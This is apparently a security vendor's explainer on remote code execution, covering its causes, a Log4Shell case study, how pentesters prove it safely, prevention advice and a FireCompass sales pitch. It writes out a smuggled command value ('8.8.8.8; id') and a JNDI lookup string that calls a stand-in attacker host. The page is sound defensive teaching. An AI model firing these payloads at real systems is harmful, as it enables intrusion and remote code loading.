Remote Code Execution (RCE): The Bug Classes That Hand Over the Server
What RCE is, which weaknesses produce it, how testers prove it without harming production, and how to reduce the blast radius.
What Is Remote Code Execution (RCE)
RCE is usually the highest-impact finding in a web or network test because the attacker inherits the privileges of the compromised process. From there, credentials, configuration secrets and internal network access are typically reachable, making RCE a common starting point for lateral movement.
Common Causes of RCE
| Weakness | CWE | How it leads to RCE |
|---|---|---|
| OS command injection | CWE-78 | Input is passed to a shell, e.g. ping -c 1 ${host} with host=8.8.8.8; id |
| Code injection | CWE-94 | Input reaches eval, an expression language or a template engine (server-side template injection) |
| Insecure deserialization | CWE-502 | Untrusted serialized objects trigger gadget chains in Java, .NET, PHP or Python libraries |
| Unrestricted file upload | CWE-434 | An uploaded script lands in an executable web directory |
| Memory corruption | e.g. CWE-787 | Out-of-bounds writes in native code redirect execution |
| Vulnerable components | varies | A library or appliance with a known RCE CVE is exposed and unpatched |
Case Study: Log4Shell (CVE-2021-44228)
In December 2021, a flaw in Apache Log4j 2 allowed attackers to trigger RCE by getting a crafted string such as ${jndi:ldap://attacker.example/a} logged by an application. Log4j's message lookup feature resolved the JNDI reference and loaded attacker-supplied code. It received a CVSS base score of 10.0. Any input that ended up in a log line (a user agent, a username, a search term) was a potential trigger, so exposure was hard to scope and exploitation began almost immediately after disclosure. It illustrates two RCE properties: the vulnerable component may be deep in the dependency tree, and the injection point may be far from the obvious input field.
How Testers Prove RCE Safely
Proving RCE on production should demonstrate control without changing the system:
- Benign commands:
id,whoamiorhostnameoutput returned in the response. - Out-of-band confirmation: a DNS lookup or HTTP request to a tester-controlled host, useful for blind command injection and deserialization.
- Time-based confirmation: a controlled delay such as
sleep 5, repeated to rule out network noise. - No persistence: no web shells left behind, no file writes outside an agreed path, and cleanup documented in the report.
The evidence should name the process user and host so the severity is clear, and the steps must be reproducible for a retest.
Prevention and Containment
- Avoid shell invocation; call APIs or use argument arrays (
execve-style) instead of building command strings. - Never deserialize untrusted data with native object serializers; use data-only formats such as JSON with schema validation.
- Disable dangerous template and expression features and do not let users control templates.
- Store uploads outside the web root, validate type by content, and serve them from a separate domain.
- Keep a software bill of materials and patch components with known RCE CVEs, prioritizing those in the CISA KEV catalog. See exploitability.
- Contain impact: run services as unprivileged users, in containers with read-only filesystems, with restricted egress and no ambient cloud credentials.
Standards Mapping
| Framework | Reference |
|---|---|
| CWE | CWE-94, CWE-78, CWE-502, CWE-434 (common root causes) |
| OWASP Top 10 (2025) | A05:2025 Injection; A08:2025 Software or Data Integrity Failures (deserialization); A03:2025 Software Supply Chain Failures (vulnerable components) |
| MITRE ATT&CK | T1190 Exploit Public-Facing Application; T1059 Command and Scripting Interpreter |
How FireCompass Tests for RCE
FireCompass AI agents test injection, deserialization, upload and known-component paths on internet-facing applications and confirm RCE with non-destructive proof such as out-of-band callbacks or benign command output, within the agreed scope. Findings include the request chain and evidence for reproduction.
Sources and Standards
- MITRE CWE-94: Improper Control of Generation of Code
- MITRE CWE-78: OS Command Injection
- MITRE CWE-502: Deserialization of Untrusted Data
- NVD: CVE-2021-44228 (Log4Shell)
- CISA: Apache Log4j Vulnerability Guidance
- MITRE ATT&CK T1190: Exploit Public-Facing Application
Frequently Asked Questions
What is the difference between RCE and command injection?
Command injection (CWE-78) is one weakness that can lead to RCE. RCE is the outcome: arbitrary code or commands running on the target, which can also come from deserialization, code injection, file upload or memory corruption.
Why was Log4Shell rated CVSS 10.0?
CVE-2021-44228 was exploitable over the network, without authentication or user interaction, with low complexity, and gave full code execution, which maximizes the CVSS base metrics.
How do pentesters prove RCE without damaging systems?
By running benign commands such as id or hostname, triggering an out-of-band DNS or HTTP callback, or using a controlled time delay, and by leaving no files or persistence behind.
Is RCE always critical?
Usually, but severity depends on the privileges of the process, network position and what credentials are reachable. RCE in a sandboxed, egress-restricted container has less impact than RCE on a domain-joined server.
Further Reading
- FireCompass external attack surface management
- From Discovery to Initial Access: How FireCompass AI Agent Identified Multiple Remote Code Execution Paths
- React2Shell (CVE-2025-55182): Pre‑Auth RCE In React & Next.js- A Log4Shell‑Style Wake‑Up Call
- CVE-2025-53770 (“ToolShell”): Critical SharePoint RCE Exploited in the Wild
Related Terms
Find Out Whether Anything You Expose Leads to Code Execution
Run a free AI pentest and get RCE findings proven with non-destructive evidence and reproducible steps.
Free AI Pen TestNo credit card. Findings include reproducible steps and exploit code.
